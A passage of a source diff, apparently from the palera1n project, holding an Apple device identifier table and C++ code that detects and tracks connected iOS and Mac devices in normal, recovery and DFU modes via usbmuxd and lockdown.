{ "Watch3,3", "n121sap", 0x18, 0x8004, "Apple Watch Series 3 (38mm)" },
|
||||||
|
{ "Watch3,4", "n121bap", 0x1A, 0x8004, "Apple Watch Series 3 (42mm)" },
|
||||||
|
{ "Watch4,1", "n131sap", 0x08, 0x8006, "Apple Watch Series 4 (40mm)" },
|
||||||
|
{ "Watch4,2", "n131bap", 0x0A, 0x8006, "Apple Watch Series 4 (44mm)" },
|
||||||
|
{ "Watch4,3", "n141sap", 0x0C, 0x8006, "Apple Watch Series 4 (40mm Cellular)" },
|
||||||
|
{ "Watch4,4", "n141bap", 0x0E, 0x8006, "Apple Watch Series 4 (44mm Cellular)" },
|
||||||
|
{ "Watch5,1", "n144sap", 0x10, 0x8006, "Apple Watch Series 5 (40mm)" },
|
||||||
|
{ "Watch5,2", "n144bap", 0x12, 0x8006, "Apple Watch Series 5 (44mm)" },
|
||||||
|
{ "Watch5,3", "n146sap", 0x14, 0x8006, "Apple Watch Series 5 (40mm Cellular)" },
|
||||||
|
{ "Watch5,4", "n146bap", 0x16, 0x8006, "Apple Watch Series 5 (44mm Cellular)" },
|
||||||
|
{ "Watch5,9", "n140sap", 0x28, 0x8006, "Apple Watch SE (40mm)" },
|
||||||
|
{ "Watch5,10", "n140bap", 0x2A, 0x8006, "Apple Watch SE (44mm)" },
|
||||||
|
{ "Watch5,11", "n142sap", 0x2C, 0x8006, "Apple Watch SE (40mm Cellular)" },
|
||||||
|
{ "Watch5,12", "n142bap", 0x2E, 0x8006, "Apple Watch SE (44mm Cellular)" },
|
||||||
|
{ "Watch6,1", "n157sap", 0x08, 0x8301, "Apple Watch Series 6 (40mm)" },
|
||||||
|
{ "Watch6,2", "n157bap", 0x0A, 0x8301, "Apple Watch Series 6 (44mm)" },
|
||||||
|
{ "Watch6,3", "n158sap", 0x0C, 0x8301, "Apple Watch Series 6 (40mm Cellular)" },
|
||||||
|
{ "Watch6,4", "n158bap", 0x0E, 0x8301, "Apple Watch Series 6 (44mm Cellular)" },
|
||||||
|
{ "Watch6,6", "n187sap", 0x10, 0x8301, "Apple Watch Series 7 (41mm)" },
|
||||||
|
{ "Watch6,7", "n187bap", 0x12, 0x8301, "Apple Watch Series 7 (45mm)" },
|
||||||
|
{ "Watch6,8", "n188sap", 0x14, 0x8301, "Apple Watch Series 7 (41mm Cellular)" },
|
||||||
|
{ "Watch6,9", "n188bap", 0x16, 0x8301, "Apple Watch Series 7 (45mm Cellular)" },
|
||||||
|
{ "Watch6,10", "n143sap", 0x28, 0x8301, "Apple Watch SE 2 (40mm)" },
|
||||||
|
{ "Watch6,11", "n143bap", 0x2A, 0x8301, "Apple Watch SE 2 (44mm)" },
|
||||||
|
{ "Watch6,12", "n149sap", 0x2C, 0x8301, "Apple Watch SE 2 (40mm Cellular)" },
|
||||||
|
{ "Watch6,13", "n149bap", 0x2E, 0x8301, "Apple Watch SE 2 (44mm Cellular)" },
|
||||||
|
{ "Watch6,14", "n197sap", 0x30, 0x8301, "Apple Watch Series 8 (41mm)" },
|
||||||
|
{ "Watch6,15", "n197bap", 0x32, 0x8301, "Apple Watch Series 8 (45mm)" },
|
||||||
|
{ "Watch6,16", "n198sap", 0x34, 0x8301, "Apple Watch Series 8 (41mm Cellular)" },
|
||||||
|
{ "Watch6,17", "n198bap", 0x36, 0x8301, "Apple Watch Series 8 (45mm Cellular)" },
|
||||||
|
{ "Watch6,18", "n199ap", 0x26, 0x8301, "Apple Watch Ultra" },
|
||||||
|
{ "Watch7,1", "n207sap", 0x08, 0x8310, "Apple Watch Series 9 (41mm)" },
|
||||||
|
{ "Watch7,2", "n207bap", 0x0A, 0x8310, "Apple Watch Series 9 (45mm)" },
|
||||||
|
{ "Watch7,3", "n208sap", 0x0C, 0x8310, "Apple Watch Series 9 (41mm Cellular)" },
|
||||||
|
{ "Watch7,4", "n208bap", 0x0E, 0x8310, "Apple Watch Series 9 (45mm Cellular)" },
|
||||||
|
{ "Watch7,5", "n210ap", 0x02, 0x8310, "Apple Watch Ultra 2" },
|
||||||
|
{ "Watch7,8", "n217sap", 0x10, 0x8310, "Apple Watch Series 10 (42mm)" },
|
||||||
|
{ "Watch7,9", "n217bap", 0x12, 0x8310, "Apple Watch Series 10 (46mm)" },
|
||||||
|
{ "Watch7,10", "n218sap", 0x14, 0x8310, "Apple Watch Series 10 (42mm Cellular)" },
|
||||||
|
{ "Watch7,11", "n218bap", 0x16, 0x8310, "Apple Watch Series 10 (46mm Cellular)" },
|
||||||
|
{ "Watch7,12", "n230ap", 0x22, 0x8310, "Apple Watch Ultra 3" },
|
||||||
|
{ "Watch7,13", "n243sap", 0x28, 0x8310, "Apple Watch SE 3 (40mm)" },
|
||||||
|
{ "Watch7,14", "n243bap", 0x2A, 0x8310, "Apple Watch SE 3 (44mm)" },
|
||||||
|
{ "Watch7,15", "n244sap", 0x2C, 0x8310, "Apple Watch SE 3 (40mm Cellular)" },
|
||||||
|
{ "Watch7,16", "n244bap", 0x2E, 0x8310, "Apple Watch SE 3 (44mm Cellular)" },
|
||||||
|
{ "Watch7,17", "n227sap", 0x18, 0x8310, "Apple Watch Series 11 (42mm)" },
|
||||||
|
{ "Watch7,18", "n227bap", 0x1A, 0x8310, "Apple Watch Series 11 (46mm)" },
|
||||||
|
{ "Watch7,19", "n228sap", 0x1C, 0x8310, "Apple Watch Series 11 (42mm Cellular)" },
|
||||||
|
{ "Watch7,20", "n228bap", 0x1E, 0x8310, "Apple Watch Series 11 (46mm Cellular)" },
|
||||||
|
/* Apple Silicon Macs */
|
||||||
|
{ "ADP3,2", "j273aap", 0x42, 0x8027, "Developer Transition Kit (2020)" },
|
||||||
|
{ "Macmini9,1", "j274ap", 0x22, 0x8103, "Mac mini (M1, 2020)" },
|
||||||
|
{ "MacBookPro17,1", "j293ap", 0x24, 0x8103, "MacBook Pro (M1, 13-inch, 2020)" },
|
||||||
|
{ "MacBookPro18,1", "j316sap", 0x0A, 0x6000, "MacBook Pro (M1 Pro, 16-inch, 2021)" },
|
||||||
|
{ "MacBookPro18,2", "j316cap", 0x0A, 0x6001, "MacBook Pro (M1 Max, 16-inch, 2021)" },
|
||||||
|
{ "MacBookPro18,3", "j314sap", 0x08, 0x6000, "MacBook Pro (M1 Pro, 14-inch, 2021)" },
|
||||||
|
{ "MacBookPro18,4", "j314cap", 0x08, 0x6001, "MacBook Pro (M1 Max, 14-inch, 2021)" },
|
||||||
|
{ "MacBookAir10,1", "j313ap", 0x26, 0x8103, "MacBook Air (M1, 2020)" },
|
||||||
|
{ "iMac21,1", "j456ap", 0x28, 0x8103, "iMac 24-inch (M1, Two Ports, 2021)" },
|
||||||
|
{ "iMac21,2", "j457ap", 0x2A, 0x8103, "iMac 24-inch (M1, Four Ports, 2021)" },
|
||||||
|
{ "Mac13,1", "j375cap", 0x04, 0x6001, "Mac Studio (M1 Max, 2022)" },
|
||||||
|
{ "Mac13,2", "j375dap", 0x0C, 0x6002, "Mac Studio (M1 Ultra, 2022)" },
|
||||||
|
{ "Mac14,2", "j413ap", 0x28, 0x8112, "MacBook Air (M2, 2022)" },
|
||||||
|
{ "Mac14,7", "j493ap", 0x2A, 0x8112, "MacBook Pro (M2, 13-inch, 2022)" },
|
||||||
|
{ "Mac14,3", "j473ap", 0x24, 0x8112, "Mac mini (M2, 2023)" },
|
||||||
|
{ "Mac14,5", "j414cap", 0x04, 0x6021, "MacBook Pro (14-inch, M2 Max, 2023)" },
|
||||||
|
{ "Mac14,6", "j416cap", 0x06, 0x6021, "MacBook Pro (16-inch, M2 Max, 2023)" },
|
||||||
|
{ "Mac14,8", "j180dap", 0x08, 0x6022, "Mac Pro (2023)" },
|
||||||
|
{ "Mac14,9", "j414sap", 0x04, 0x6020, "MacBook Pro (14-inch, M2 Pro, 2023)" },
|
||||||
|
{ "Mac14,10", "j416sap", 0x06, 0x6020, "MacBook Pro (16-inch, M2 Pro, 2023)" },
|
||||||
|
{ "Mac14,12", "j474sap", 0x02, 0x6020, "Mac mini (M2 Pro, 2023)" },
|
||||||
|
{ "Mac14,13", "j475cap", 0x0A, 0x6021, "Mac Studio (M2 Max, 2023)" },
|
||||||
|
{ "Mac14,14", "j475dap", 0x0A, 0x6022, "Mac Studio (M2 Ultra, 2023)" },
|
||||||
|
{ "Mac14,15", "j415ap", 0x2E, 0x8112, "MacBook Air (M2, 15-inch, 2023)" },
|
||||||
|
{ "Mac15,3", "j504ap", 0x22, 0x8122, "MacBook Pro (14-inch, M3, Nov 2023)" },
|
||||||
|
{ "Mac15,4", "j433ap", 0x28, 0x8122, "iMac 24-inch (M3, Two Ports, 2023)" },
|
||||||
|
{ "Mac15,5", "j434ap", 0x2A, 0x8122, "iMac 24-inch (M3, Four Ports, 2023)" },
|
||||||
|
{ "Mac15,6", "j514sap", 0x04, 0x6030, "MacBook Pro (14-inch, M3 Pro, Nov 2023)" },
|
||||||
|
{ "Mac15,7", "j516sap", 0x06, 0x6030, "MacBook Pro (16-inch, M3 Pro, Nov 2023)" },
|
||||||
|
{ "Mac15,8", "j514cap", 0x44, 0x6031, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
|
||||||
|
{ "Mac15,9", "j516cap", 0x46, 0x6031, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
|
||||||
|
{ "Mac15,10", "j514map", 0x44, 0x6034, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
|
||||||
|
{ "Mac15,11", "j516map", 0x46, 0x6034, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
|
||||||
|
{ "Mac15,12", "j613ap", 0x30, 0x8122, "MacBook Air (13-inch, M3, 2024)" },
|
||||||
|
{ "Mac15,13", "j615ap", 0x32, 0x8122, "MacBook Air (15-inch, M3, 2024)" },
|
||||||
|
{ "Mac15,14", "j575dap", 0x44, 0x6032, "Mac Studio (M3 Ultra, 2025)" },
|
||||||
|
{ "Mac16,1", "j604ap", 0x22, 0x8132, "MacBook Pro (14-inch, M4, Nov 2024)" },
|
||||||
|
{ "Mac16,2", "j623ap", 0x24, 0x8132, "iMac 24-inch (M4, Two Ports, 2024)" },
|
||||||
|
{ "Mac16,3", "j624ap", 0x26, 0x8132, "iMac 24-inch (M4, Four Ports, 2024)" },
|
||||||
|
{ "Mac16,5", "j616cap", 0x06, 0x6041, "MacBook Pro (16-inch, M4 Max, Nov 2024)" },
|
||||||
|
{ "Mac16,6", "j614cap", 0x04, 0x6041, "MacBook Pro (14-inch, M4 Max, Nov 2024)" },
|
||||||
|
{ "Mac16,7", "j616sap", 0x06, 0x6040, "MacBook Pro (16-inch, M4 Pro, Nov 2024)" },
|
||||||
|
{ "Mac16,8", "j614sap", 0x04, 0x6040, "MacBook Pro (14-inch, M4 Pro, Nov 2024)" },
|
||||||
|
{ "Mac16,9", "j575cap", 0x02, 0x6041, "Mac Studio (M4 Max, 2025)" },
|
||||||
|
{ "Mac16,10", "j773gap", 0x2A, 0x8132, "Mac mini (M4, 2024)" },
|
||||||
|
{ "Mac16,11", "j773sap", 0x02, 0x6040, "Mac mini (M4 Pro, 2024)" },
|
||||||
|
{ "Mac16,12", "j713ap", 0x2C, 0x8132, "MacBook Air (13-inch, M4, 2025)" },
|
||||||
|
{ "Mac16,13", "j715ap", 0x2E, 0x8132, "MacBook Air (15-inch, M4, 2025)" },
|
||||||
|
{ "Mac17,2", "j704ap", 0x22, 0x8142, "MacBook Pro (14-inch, M5, 2025)" },
|
||||||
|
/* Apple Silicon VMs (supported by Virtualization.framework on macOS 12) */
|
||||||
|
{ "VirtualMac2,1", "vma2macosap", 0x20, 0xFE00, "Apple Virtual Machine 1" },
|
||||||
|
/* Apple T2 Coprocessor */
|
||||||
|
{ "iBridge2,1", "j137ap", 0x0A, 0x8012, "Apple T2 iMacPro1,1 (j137)" },
|
||||||
|
{ "iBridge2,3", "j680ap", 0x0B, 0x8012, "Apple T2 MacBookPro15,1 (j680)" },
|
||||||
|
{ "iBridge2,4", "j132ap", 0x0C, 0x8012, "Apple T2 MacBookPro15,2 (j132)" },
|
||||||
|
{ "iBridge2,5", "j174ap", 0x0E, 0x8012, "Apple T2 Macmini8,1 (j174)" },
|
||||||
|
{ "iBridge2,6", "j160ap", 0x0F, 0x8012, "Apple T2 MacPro7,1 (j160)" },
|
||||||
|
{ "iBridge2,7", "j780ap", 0x07, 0x8012, "Apple T2 MacBookPro15,3 (j780)" },
|
||||||
|
{ "iBridge2,8", "j140kap", 0x17, 0x8012, "Apple T2 MacBookAir8,1 (j140k)" },
|
||||||
|
{ "iBridge2,10", "j213ap", 0x18, 0x8012, "Apple T2 MacBookPro15,4 (j213)" },
|
||||||
|
{ "iBridge2,12", "j140aap", 0x37, 0x8012, "Apple T2 MacBookAir8,2 (j140a)" },
|
||||||
|
{ "iBridge2,14", "j152fap", 0x3A, 0x8012, "Apple T2 MacBookPro16,1 (j152f)" },
|
||||||
|
{ "iBridge2,15", "j230kap", 0x3F, 0x8012, "Apple T2 MacBookAir9,1 (j230k)" },
|
||||||
|
{ "iBridge2,16", "j214kap", 0x3E, 0x8012, "Apple T2 MacBookPro16,2 (j214k)" },
|
||||||
|
{ "iBridge2,19", "j185ap", 0x22, 0x8012, "Apple T2 iMac20,1 (j185)" },
|
||||||
|
{ "iBridge2,20", "j185fap", 0x23, 0x8012, "Apple T2 iMac20,2 (j185f)" },
|
||||||
|
{ "iBridge2,21", "j223ap", 0x3B, 0x8012, "Apple T2 MacBookPro16,3 (j223)" },
|
||||||
|
{ "iBridge2,22", "j215ap", 0x38, 0x8012, "Apple T2 MacBookPro16,4 (j215)" },
|
||||||
|
/* Apple Displays */
|
||||||
|
{ "AppleDisplay2,1", "j327ap", 0x22, 0x8030, "Studio Display" },
|
||||||
|
/* Apple Vision Pro */
|
||||||
|
{ "RealityDevice14,1", "n301ap", 0x42, 0x8112, "Apple Vision Pro" },
|
||||||
|
{ "RealityDevice17,1", "n301aap", 0x42, 0x8142, "Apple Vision Pro (M5)" },
|
||||||
|
/* Private Cloud Compute Research Environment */
|
||||||
|
{ "iPhone99,11", "vresearch101ap", 0x90, 0xFE01, "iPhone 99,11" },
|
||||||
|
{ nullptr, nullptr, -1, -1, nullptr }
|
||||||
|
};
|
||||||
|
|
||||||
|
#include "../pongo_helper.h"
|
||||||
|
|
||||||
|
void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name);
|
||||||
|
void get_name_from_product_type(const char *product_type, const char **name);
|
||||||
|
|
||||||
|
#endif // MAIN__DEVICE_INFO_H
|
||||||
|
|
||||||
|
#endif // WITH_GUI || WITH_TUI
|
||||||
@@ -0,0 +1,493 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
|
#include "event.hpp"
|
||||||
|
#include "../sequence.hpp"
|
||||||
|
#include "device_info.hpp"
|
||||||
|
|
||||||
|
#include <chrono>
|
||||||
|
#include <mutex>
|
||||||
|
#include <thread>
|
||||||
|
#include <unordered_map>
|
||||||
|
#include <vector>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <memory>
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <cstring>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
# include <ciderra1n/log.h>
|
||||||
|
#else
|
||||||
|
# include <openra1n/utils.h>
|
||||||
|
# include <openra1n/shim.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "ra1ncovery/hotplug.hpp"
|
||||||
|
#include <idevice++/lockdown.hpp>
|
||||||
|
#include <idevice++/usbmuxd.hpp>
|
||||||
|
#include <idevice++/provider.hpp>
|
||||||
|
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
using platform_service_t = io_service_t;
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
using platform_service_t = libusb_device*;
|
||||||
|
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
using platform_service_t = liteusb_handle_t*;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef __APPLE__
|
||||||
|
# define IO_OBJECT_NULL nullptr
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
struct ManagedDevice {
|
||||||
|
DeviceState state{};
|
||||||
|
bool normalPresent = false;
|
||||||
|
bool recoveryPresent = false;
|
||||||
|
bool dfuPresent = false;
|
||||||
|
hotplug_handle_t handle{};
|
||||||
|
uint32_t device_id = 0;
|
||||||
|
|
||||||
|
std::unique_ptr<IdeviceFFI::UsbmuxdDevice> usbmuxd_device;
|
||||||
|
};
|
||||||
|
|
||||||
|
void release_handle(hotplug_handle_t& h) {
|
||||||
|
#ifdef __APPLE__
|
||||||
|
if (h.serv != IO_OBJECT_NULL) {
|
||||||
|
IOObjectRelease(h.serv);
|
||||||
|
h.serv = IO_OBJECT_NULL;
|
||||||
|
}
|
||||||
|
if (h.device) {
|
||||||
|
(*h.device)->Release(h.device);
|
||||||
|
h.device = nullptr;
|
||||||
|
}
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
if (h.serv != nullptr) {
|
||||||
|
libusb_unref_device(h.serv);
|
||||||
|
h.serv = nullptr;
|
||||||
|
}
|
||||||
|
h.device = nullptr;
|
||||||
|
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
h.handle = nullptr;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void retain_handle(const hotplug_handle_t& h) {
|
||||||
|
#ifdef __APPLE__
|
||||||
|
if (h.serv != IO_OBJECT_NULL) {
|
||||||
|
IOObjectRetain(h.serv);
|
||||||
|
}
|
||||||
|
if (h.device) (*h.device)->AddRef(h.device);
|
||||||
|
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
|
||||||
|
if (h.serv != nullptr) {
|
||||||
|
libusb_ref_device(h.serv);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
template<auto FreeFn>
|
||||||
|
struct Releaser {
|
||||||
|
template<typename T>
|
||||||
|
void operator()(T* ptr) const { if (ptr) FreeFn(ptr); }
|
||||||
|
};
|
||||||
|
|
||||||
|
template<typename T, auto FreeFn>
|
||||||
|
using unique_c_ptr = std::unique_ptr<T, Releaser<FreeFn>>;
|
||||||
|
|
||||||
|
std::mutex g_mutex;
|
||||||
|
std::vector<DeviceStateCallback> g_callbacks;
|
||||||
|
std::unordered_map<uint64_t, ManagedDevice> g_devices;
|
||||||
|
uint64_t g_activeEcid = 0;
|
||||||
|
std::once_flag g_startOnce;
|
||||||
|
|
||||||
|
#ifndef __APPLE__
|
||||||
|
std::condition_variable g_recoveryCv;
|
||||||
|
bool g_recoveryRunning = false;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void dispatch_callbacks(const std::vector<DeviceStateCallback>& callbacks, const DeviceState& state) {
|
||||||
|
for (const auto& cb : callbacks) {
|
||||||
|
if (cb) cb(state);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DeviceState build_public_state_locked() {
|
||||||
|
DeviceState out{};
|
||||||
|
const auto total_devices = static_cast<uint32_t>(g_devices.size());
|
||||||
|
out.connected = false;
|
||||||
|
out.connectedDeviceCount = total_devices;
|
||||||
|
out.multipleDevices = total_devices > 1;
|
||||||
|
|
||||||
|
if (g_devices.empty()) {
|
||||||
|
g_activeEcid = 0;
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto it = g_devices.find(g_activeEcid);
|
||||||
|
if (it == g_devices.end()) {
|
||||||
|
it = g_devices.begin();
|
||||||
|
}
|
||||||
|
|
||||||
|
g_activeEcid = it->first;
|
||||||
|
out = it->second.state;
|
||||||
|
out.connected = true;
|
||||||
|
out.connectedDeviceCount = total_devices;
|
||||||
|
out.multipleDevices = total_devices > 1;
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
void publish_state() {
|
||||||
|
std::vector<DeviceStateCallback> callbacks;
|
||||||
|
DeviceState state;
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
callbacks = g_callbacks;
|
||||||
|
state = build_public_state_locked();
|
||||||
|
}
|
||||||
|
dispatch_callbacks(callbacks, state);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool lockdown_get_string(IdeviceFFI::Lockdown& client, const char* key, std::string& out) {
|
||||||
|
auto res = client.get_value(key, nullptr);
|
||||||
|
if (res.is_err()) return false;
|
||||||
|
|
||||||
|
plist_t raw_plist = res.unwrap();
|
||||||
|
if (!raw_plist) return false;
|
||||||
|
|
||||||
|
char* raw = nullptr;
|
||||||
|
plist_get_string_val(raw_plist, &raw);
|
||||||
|
|
||||||
|
if (raw) {
|
||||||
|
out = raw;
|
||||||
|
}
|
||||||
|
|
||||||
|
return !out.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool lockdown_get_uint(IdeviceFFI::Lockdown& client, const char* key, uint64_t& out) {
|
||||||
|
auto res = client.get_value(key, nullptr);
|
||||||
|
if (res.is_err()) return false;
|
||||||
|
|
||||||
|
plist_t plist = res.unwrap();
|
||||||
|
if (!plist) return false;
|
||||||
|
|
||||||
|
plist_get_uint_val(plist, &out);
|
||||||
|
return out != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool build_normal_state(const IdeviceFFI::UsbmuxdDevice& device, DeviceState& out) {
|
||||||
|
auto id_opt = device.get_id();
|
||||||
|
if (id_opt.is_none()) return false;
|
||||||
|
uint32_t device_id = id_opt.unwrap();
|
||||||
|
|
||||||
|
auto udid_opt = device.get_udid();
|
||||||
|
if (udid_opt.is_none()) return false;
|
||||||
|
std::string udid_str = udid_opt.unwrap();
|
||||||
|
|
||||||
|
auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery");
|
||||||
|
if (prov_res.is_err()) return false;
|
||||||
|
auto prov = std::move(prov_res).unwrap();
|
||||||
|
|
||||||
|
auto lockdown_res = IdeviceFFI::Lockdown::connect(prov);
|
||||||
|
if (lockdown_res.is_err()) return false;
|
||||||
|
auto session = std::move(lockdown_res).unwrap();
|
||||||
|
|
||||||
|
auto pf_res = prov.get_pairing_file();
|
||||||
|
if (pf_res.is_ok()) {
|
||||||
|
(void)session.start_session(pf_res.unwrap());
|
||||||
|
}
|
||||||
|
|
||||||
|
out.connected = true;
|
||||||
|
out.mode = DeviceMode::Normal;
|
||||||
|
out.udid = udid_str;
|
||||||
|
|
||||||
|
lockdown_get_string(session, "ProductType", out.productType);
|
||||||
|
lockdown_get_string(session, "ProductVersion", out.productVersion);
|
||||||
|
lockdown_get_uint(session, "UniqueChipID", out.ecid);
|
||||||
|
|
||||||
|
for (int i = 0; irecv_devices[i].product_type; i++) {
|
||||||
|
if (irecv_devices[i].product_type == out.productType) {
|
||||||
|
out.displayName = irecv_devices[i].name;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
out.isSupported = SequenceIsSupported(out.productType);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void handle_other_add(hotplug_handle_t handle, DeviceMode mode, bool supported) {
|
||||||
|
char serial[256] = {};
|
||||||
|
if (!get_usb_device_serial(handle, serial, sizeof(serial))) return;
|
||||||
|
|
||||||
|
const char *ecid_str = nullptr, *product_model = nullptr, *product_name = nullptr;
|
||||||
|
get_recovery_info(serial, &ecid_str, &product_model, &product_name);
|
||||||
|
uint64_t ecid = ecid_str ? strtoull(ecid_str, nullptr, 16) : 0;
|
||||||
|
|
||||||
|
if (ecid == 0) return;
|
||||||
|
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
ManagedDevice& m = g_devices[ecid];
|
||||||
|
|
||||||
|
release_handle(m.handle);
|
||||||
|
m.handle = handle;
|
||||||
|
retain_handle(m.handle);
|
||||||
|
|
||||||
|
m.state.connected = true;
|
||||||
|
m.state.mode = mode;
|
||||||
|
m.state.ecid = ecid;
|
||||||
|
m.state.productType = product_model ? product_model : "";
|
||||||
|
m.state.productVersion.clear();
|
||||||
|
m.state.displayName = product_name ? product_name : "";
|
||||||
|
m.state.isSupported = supported;
|
||||||
|
|
||||||
|
m.recoveryPresent = (mode == DeviceMode::Recovery);
|
||||||
|
m.dfuPresent = (mode == DeviceMode::DFU);
|
||||||
|
}
|
||||||
|
publish_state();
|
||||||
|
}
|
||||||
|
|
||||||
|
static void remove_device(platform_service_t service, DeviceMode mode, uint32_t target_device_id = 0, const std::string& target_udid = "") {
|
||||||
|
bool changed = false;
|
||||||
|
{
|
||||||
|
std::lock_guard lock(g_mutex);
|
||||||
|
|
||||||
|
auto it = std::find_if(g_devices.begin(), g_devices.end(), [&](const auto& pair) {
|
||||||
|
if (service != IO_OBJECT_NULL) {
|
||||||
|
#if !defined(__APPLE__) && defined(WITH_CIDERRAIN)
|
||||||
|
return pair.second.handle.handle == service;
|
||||||
|
#else
|
||||||
|
return pair.second.handle.serv == service;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
if (mode == DeviceMode::Normal) {
|
||||||
|
if (!target_udid.empty()) return pair.second.state.udid == target_udid;
|
||||||
|
if (target_device_id != 0) return pair.second.device_id == target_device_id;
|
||||||
|
return pair.second.normalPresent;
|
||||||
|
}
|
||||||
|
switch (mode) {
|
||||||
|
case DeviceMode::Recovery: return pair.second.recoveryPresent;
|
||||||
|
case DeviceMode::DFU: return pair.second.dfuPresent;
|
||||||
|
default: return false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
if (it != g_devices.end()) {
|
||||||
|
auto& [ecid, m] = *it;
|
||||||
|
|
||||||
|
if (mode == DeviceMode::Normal) {
|
||||||
|
m.normalPresent = false;
|
||||||
|
m.usbmuxd_device.reset();
|
||||||
|
} else if (mode == DeviceMode::Recovery) {
|
||||||
|
m.recoveryPresent = false;
|
||||||
|
} else if (mode == DeviceMode::DFU) {
|
||||||
|
m.dfuPresent = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!m.normalPresent && !m.recoveryPresent && !m.dfuPresent) {
|
||||||
|
release_handle(m.handle);
|
||||||
|
g_devices.erase(it);
|
||||||
|
}
|
||||||
|
changed = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (changed) publish_state();
|
||||||
|
}
|
||||||
|
|
||||||
|
void usbmuxd_listener_worker() {
|
||||||
|
std::unordered_map<uint32_t, std::string> known_normal_devices;
|
||||||
|
|
||||||
|
for (;;) {
|
||||||
|
std::this_thread::sleep_for(std::chrono::milliseconds(500));
|
||||||
|
|
||||||
|
std::unordered_map<uint32_t, std::string> current_devices;
|
||||||
|
std::vector<IdeviceFFI::UsbmuxdDevice> usb_only_devices;
|
||||||
|
|
||||||
|
auto conn_res = IdeviceFFI::UsbmuxdConnection::default_new(0);
|
||||||
|
if (conn_res.is_ok()) {
|
||||||
|
auto devices_res = std::move(conn_res).unwrap().get_devices();
|
||||||
|
if (devices_res.is_ok()) {
|
||||||
|
auto current_dev_list = std::move(devices_res).unwrap();
|
||||||
|
usb_only_devices.reserve(current_dev_list.size());
|
||||||
|
|
||||||
|
for (auto& dev : current_dev_list) {
|
||||||
|
auto conn_type_opt = dev.get_connection_type();
|
||||||
|
if (conn_type_opt.is_none() || conn_type_opt.unwrap().to_string() != "USB") {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto id_opt = dev.get_id();
|
||||||
|
auto udid_opt = dev.get_udid();
|
||||||
|
if (id_opt.is_some() && udid_opt.is_some()) {
|
||||||
|
current_devices[id_opt.unwrap()] = udid_opt.unwrap();
|
||||||
|
usb_only_devices.push_back(std::move(dev));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (auto it = known_normal_devices.begin(); it != known_normal_devices.end();) {
|
||||||
|
if (current_devices.find(it->first) == current_devices.end()) {
|
||||||
|
uint32_t removed_id = it->first;
|
||||||
|
std::string removed_udid = it->second;
|
||||||
|
it = known_normal_devices.erase(it);
|
||||||
|
